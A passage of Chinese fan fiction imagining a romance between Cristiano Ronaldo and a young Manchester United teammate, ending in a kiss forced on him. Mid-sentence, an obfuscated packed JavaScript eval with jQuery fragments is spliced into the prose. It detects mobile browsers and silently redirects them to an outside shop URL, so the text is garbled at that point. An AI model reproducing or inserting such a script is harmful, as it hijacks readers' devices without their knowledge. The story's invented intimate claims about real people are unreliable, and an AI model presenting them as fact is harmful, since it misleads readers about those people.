没有对方的MSN、Skype、邮箱或电话号码,时隔整整两周,才再度见到克里斯蒂亚诺。
他看上去精神头十足,全无长途飞行的疲态,不久前,远征阿塞拜疆又转战哈萨克斯坦,为国家队斩获了两场胜利,表现得很出彩。
尽管最近状态火热,考虑到身体负荷以及三天后的欧冠小组赛,主教练弗格森爵士还是把他摁在了冷板凳。
周六晚场,容纳四万多人的维拉公园球场几乎满座。
黑色客场队服的拉链被一气儿扯到了领口,克里斯蒂亚诺缩着脖子,散漫瘫坐在替补席上,偶尔会因无聊,像小鹿斑比里的兔子桑普那样顽皮跺脚。
“知道吗,哈萨克语里,阿拉木图的意思是苹果之城。
“我当然喜欢,尤其用苹果干泡水喝,那玩意可比碳酸饮料健康多了。
“话说一颗苹果沉甸甸的,丢进水里为什么能浮起来?
“并非脑筋急转弯……”
去你的苹果香蕉大鸭梨!隔壁坐着的奥谢无奈瞪眼,今天又不是过来参与讨论科学课的,他伸手掐了掐对方的脸颊:“嘴巴能消停会儿吗beauty,我耳朵疼出血不要紧,爵爷可被你吵得罚站技术区了。”
“拜托,那是因为人家先进了球。”克里斯蒂亚诺不屑地哼声,他都没上场,才不要背锅。
左边是个天马行空的宇宙级大话痨,奥谢嫌烦,转而对右边默默无闻的新人说:“小子,我俩交换位置。”
偷听许久的奈特心里咯噔一下,好像苹果砸完牛顿,又砸向了自己,等再反应过来,人已经挨着坐了。
气氛突然尴尬起来,克里斯蒂亚诺也没刚才那般松弛自在,对着不太相熟的同事还是比较拘谨的,他们没有交流、寒暄,哪怕短暂对视,一切变得安静而怪异。
替补席不大,两人的手臂始终紧贴,奈特目不斜视地盯着球场上的比赛,上半身几乎完全僵化,可过了一会儿,又忍不住轻轻晃动左膝,做贼似的,有意无意地触碰对方。
克里斯蒂亚诺并未因此收腿,神色也毫无起伏,毕竟足球是项激烈的身体对抗运动,队友之间拥抱亲吻都常见,这种程度的肢体接触又算得了什么。
直到第三十六分钟,鲁尼接纳尼助攻,扳平比分。
他很给面子地鼓了鼓掌,顺势就将手肘搭在奈特的大腿上。
这,显然也正常。
半场结束,曼联已经三比一领先。有的球员都开始商量赛后要点哪家的披萨,而费迪南德非常不靠谱地提议大伙儿外出聚餐,难得来一趟伯明翰,最好是巴尔蒂咖喱配冰啤。
助教奎罗斯拿战术板敲他脑袋,想都别想,圣诞假期之前,只有营养师准备的低脂运动餐喂给你们这群浑蛋吃!
从隔间磨蹭出来,奈特意外碰见克里斯蒂亚诺正独自站在洗手台前,对着镜子用湿纸巾擦脸。
他偷偷舒了口长气,走到旁边,拧开水龙头,鬼迷心窍地来了句:“Crissy。”
“你喊我什么?”
“罗、罗纳尔多。”他盯着镜中人,仔细措辞,“嘿,我弟弟索伦非常喜欢你,如果有空,或许……”
放在一旁贴满亮片水钻的黑莓手机凑巧响了起来,克里斯蒂亚诺不由瞥了眼来电显示,脸色稍变,却没打算理会:“抱歉,什么事,你继续说。”
奈特垂眼,语气更古怪:“不接电话吗,要不然我先回避?”
铃声还在响个不停,居然是Oasis的《Champagne Supernova》,没错,就是那支非常没品——两兄弟都执迷不悔地爱着隔壁曼城的摇滚乐队。
克里斯蒂亚诺有些悻悻然,第一次觉得这首歌难听至极,手里的湿巾被他用力砸进了垃圾桶,嘴角则挂了抹冷冷的假笑:“我不想接,如果你实在手痒,可以自己来。”
情商再低也能听出话里的挖苦,可奈特偏装傻,真就伸手去拿了。
见状,克里斯蒂亚诺一把夺回手机,急到母语脱口而出:“我算发现了,你们这群浅发色的酸橙佬脑子都有问题!”
奈特看着他忿忿离开的背影,莫名笑了下,没听懂刚才说了什么,但至少看清楚了,那个锲而不舍的来电属于:Pet Alan。
好肉麻的备注。
不过,Alan是标准的男子名没错吧。
全大英叫这名的,数不胜数,但能与克里斯蒂亚诺攀上交情的,目前只想到一个人。
“你说利兹阿兰?”
驶离机场的大巴上,同为英格兰人的费迪南德和奈特坐到了一块,等入住酒店,基辅当地时间差不多晚九点,他们又搭伴去球队专属的封闭用餐区填饱肚子。
“亚洲行结束后,阿兰·史密斯就被遗憾通知转会的事了,也没得选啊,俱乐部都接受喜鹊的报价了,老实讲,爵爷好像看他不太顺眼,态度一直蛮冷漠的,哎,伤病加上没位置,卖掉也正常——怎么突然问起这个?”
“随便聊聊。”奈特避开视线,抿了口蔬菜清汤。
费迪南德显然会错意:“别太焦虑孩子,队里现在就缺你这样年轻又健康的高中锋,看着起码有六尺一,以后身板肯定还要再长,你多练练,混上首发是迟早的事。”
“目前六尺二。”奈特纠正完,又撒了个小谎,“我平时会看范尼斯特鲁伊的赛事录像,偷学门道。”
“学鲁德?错错错,曼联早就不在乎什么小禁区之王了,现在最想要的中锋得能背身扛人、持球做球、参与前场压迫、串联进攻……你不如多观摩他同胞,伟大的范巴斯滕!”
“看来他离队加盟皇马的真正原因,是战术层面的分歧?我原先还一直以为,怪他得罪了罗纳尔多。”
“压死骆驼的最后一根稻草罢了。”费迪南德耸肩,“确实,鲁德可能嫉妒那个年轻漂亮、逐渐取代他核心地位的孩子,但出言不逊、动辄踢屁股就过分了,我们Ronnie很乖很善良,只是偶尔会忘记传球。”
奈特继续引导:“那阿兰·史密斯呢,和罗纳尔多相处得怎么样?他们好像也打过架。”
对方果然咬钩,有些恼火:“你怕是看多了垃圾报纸的胡编乱造,事实上,Ronnie满脑子都是足球,压根没兴趣掌控什么更衣室、舆论场,他平时不受欺负就不错了!只要愿意深入了解,天啊,没人会讨厌这个葡萄牙小孩!”
“别误会,我没有讨厌……”
“更何况阿兰和他非常亲密,关系好到经常一起度假,每次去外地踢比赛需要住酒店,两人房间号基本挨着,还穿错过对方的训练服……Ronnie向来依赖哥哥们。亚洲行那会儿也是啊,他们几乎到了形影不离的程度,夜里一起偷跑出去玩,居然没被蹲点的粉丝发现,厉害吧。”健谈的费迪南德开始忆往昔,“真令人怀念,那次在广州,大家去野生动物园喂了大熊猫和白老虎。要看照片吗?尤其给Wazza拍了很多张搞怪照,他怂得要命,连鹦鹉都怕!你也不必羡慕,海外商巡年年都有,但明年夏天的重头戏毫无疑问是欧洲杯,俱乐部这边估计只会敲定几场短途的季前友谊赛,远东地区就别想了。”
安静听着,心里大致有数,克里斯蒂亚诺或许真的男女通吃,和阿兰·史密斯的关系就如备注中的“宝贝”一般。
奈特用餐巾狠擦了两下嘴角,勉强露出轻快的笑,他其实闷得有些透不过气,明明没喝柠檬汁,却有股突兀的酸涩滋味堵在了胸腔,烦得想用尼古丁和酒精消解。
当然,只是想想而已,赛前球队统一食宿期间,这两样都是明令禁止的。
他没在餐区待太久,很快借口离开,也没什么睡意,想去B1的康乐中心游泳,却又担心某人这会儿也在,就搭电梯上了顶层的露天露台。
听说那里可以俯瞰到大教堂和修道院的金顶,以及基辅最美的街区夜景。
推开玻璃门,凉风裹着秋意扑来,身心舒适不少,脚步却骤然顿住,他注意到角落里有个熟悉的背影。
真是怕什么来什么。
克里斯蒂亚诺直接坐在了天台的水泥护墙上,似乎正凝望着远方发呆,肩膀微微收拢,而双腿毫无顾忌地朝外耷拉。
有些恐高的奈特心口一紧,还是走了过去,又怕贸然出声打招呼,会吓着对方,略思索,掏出手机放起了歌——
《Hate That I Love You》。
果然,对方很快恍过神,意识到来人,抬手胡乱抹了抹脸,片刻才转过头。
夜色中,流淌的风与朦胧光晕,像千丝万缕的蛛网,将克里斯蒂亚诺轻柔萦绕,那是一张生来就该出现在红磨坊而非绿茵场的漂亮脸蛋,鼻梁秀气,长睫卷翘,眼底还泛着透亮的水雾,他露出了令人心碎的表情。
奈特不由看呆,喉结滚动:“你是哭了吗?”
克里斯蒂亚诺微嗔地皱眉,没答话。
“我晚上吃撑了,出来瞎溜达吹风。”奈特后知后觉地关掉音乐,已经挪步到他身边,“你呢?”
明显心情不好的克里斯蒂亚诺只怏怏回了句:“我想干什么,就干什么。”
这时才发现他此刻坐着的地方没有想象中那么危险,底下并非悬空,还有一层延伸的房屋跳台,距离不到两米。奈特略缓了缓,故意换上一种戏谑的贱语气:“踢迪纳摩而已,输球的可能性微乎其微,不至于提前落泪吧,还是,失恋了?”
克里斯蒂亚诺剜了他一眼,冷哂:“小报总爱把我写成在更衣室呼风唤雨的球霸,挺好的,不介意当回真的。”
这算威胁吗?奈特却不知天高地厚地继续调侃:“你要是说了算,阿兰·史密斯也不至于被卖吧。”
一阵死寂的沉默后,克里斯蒂亚诺的脸色完全变了,眼看着就要发作:“到底想表达什么。”
对啊,自己这是在做什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972021|214684||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
么,一而再再而三的挑衅。奈特其实也有些心慌,但嘴巴不听使唤:“你们、你和阿兰是情侣吗?”
“不。”克里斯蒂亚诺否认得很快,几乎是条件反射,他顿了顿,烦躁地补充,“当然不。恨我就直接把我推下去,少编造这类鬼话。”
众所周知,男足这个圈子极度保守封闭,硬汉文化才是主流,任何背离这套规则的人都会被视作异类。黑心媒体甚至通过编造同性绯闻来攻击球员。
你可以走马灯似的换女伴,顶多落个风流名声,世俗眼中,这份坏还是受欢迎的象征;但如果公开宣称爱上了男人,那很抱歉,你将被针对、排挤、边缘化,轻则断送职业生涯,重则有性命之忧。
护肤美容、全身脱毛、佩戴亮晶晶的饰品,诸如此类的小习惯让克里斯蒂亚诺经常被暗讽“不是真正的男人”,而频繁与美女约会,帮他堵住了部分闲言碎语。
“我没恶意。”奈特调整呼吸,试着让语气平静下来,“其实,曼彻斯特还算开明,我身边就有一些同性恋朋友。”
他这种small fry尚且不敢肆无忌惮出柜,难道以为三言两语就能哄得当红球星失心疯地承认同性恋情?在足坛,这可算毁灭性的丑闻。
“噢,你和你的同性恋朋友是情侣吗?”克里斯蒂亚诺不仅报复心重,而且喜欢有仇当场就报。
“我没和任何人约会过。”
“少装纯,长这么帅怎么可能没谈过。”
闻此,奈特竟脸红了,抿抿嘴,心里腾起烈轰轰的焰火:他夸我帅,他喜欢我这款,他没准就是暗恋我!
“连老鼠都有人爱。”克里斯蒂亚诺皱着眉补充,想起另一个讨厌鬼队友。
如果此时撇过头,就会发现奈特正含情脉脉地看着自己,那眼神,温软得像天鹅绒,他必定倒吸一口凉气,幡然醒悟:哥们儿,你说的gay该不会就是你自己吧!
虽然一直抗拒承认,十五岁的时候,奈特怀着巨大的恐慌,真切意识到自己能对同性产生欲望。
2003年8月16日,就是从这天开始的,永远忘不了,克里斯蒂亚诺·罗纳尔多披上红色战袍,初登老特拉福德的日子,非常惊艳,奈特当时也在现场,作为观众,像突然被一道红色闪电击中。从那以后,克里斯的每一场主场比赛他都没落下过。当然,他原本就是曼联死忠,早买好了季票,不过那倒不是重点。幸运的是一年后,他如愿争取到名额,正式进了曼联青训。
“……因为我光顾着踢球了。”
“那你很棒。”克里斯蒂亚诺敷衍地扯扯嘴角。
跟新同事说了这么久的废话,都忘记为死去的爱情继续惆怅了,疲惫感扑了下眼皮,沉沉的,他有点犯困,想回房间休息,于是旋过身子,双腿向内一转,准备落地离开。
却没想到对方胆大包天,正面迎上前,这次直接把人圈住,不许他走。
克里斯蒂亚诺当然吓一跳,骂了句脏话,但下意识扶住奈特的肩:“你小子还真想推我下去啊!”
“对不起。”久久凝视那双摄人心魄的眼睛,奈特早已焦渴,手也不安分,捏住对方的腰。
“你发什么疯?”
他倾身,将脸慢慢靠近,想要更多,今晚似乎铁了心要亲自上阵,证明克里斯蒂亚诺的性取向。
——对不起我不知道,对不起我真的控制不住自己!
当温热的气息交缠,只差分毫便能相吻时,克里斯蒂亚诺偏头躲开,嗤笑了声:“亲爱的,你就是这样当直男的?”
“我……”奈特顿住,脑子已经烂成大锅现煮的燕麦粥,忸怩找补了句糟糕的话,“我朋友喜欢你。”
“非常感谢,你朋友喜欢,你弟弟喜欢,你全家哪怕包括你也喜欢,都很正常,我本来就是值得喜欢的人。”克里斯蒂亚诺微眯眼,睫毛密密落出一道扇影,“所以,不管你身上藏没藏录音笔,说的实话,还是故意引导,我这里都没有你们想听的东西。”
“向上帝发誓,我追问你的私生活,绝非为了卖给媒体!”奈特生怕被误会,急切道,“我只是想……”
“想当王尔德?随便你,但别再维持这个姿势了好吗,我累了,现在要去睡觉。”
“我陪你。”
克里斯蒂亚诺的表情错愕了半晌,终于失言:“是不是觉得我给过你一次好脸色,就会答应跟你睡了?”
奈特可不是那意思,好吧,心里确实有过那种邪念,但刚刚的话只是单纯想扮演骑士把公主送回房间,他可以再次发誓,算了,解释也没人信,干脆就顺势接话:“那要怎样才可以?给你助攻,还是进球?”
“去找睡过的人打听啊,”对方似乎气糊涂了,破罐子破摔,“比如你一直追问的那位。”
阿兰阿兰阿兰,这家伙果然!
翻涌的妒火烧得失控,奈特头脑一炸,不由分说地吻上克里斯蒂亚诺的侧颈。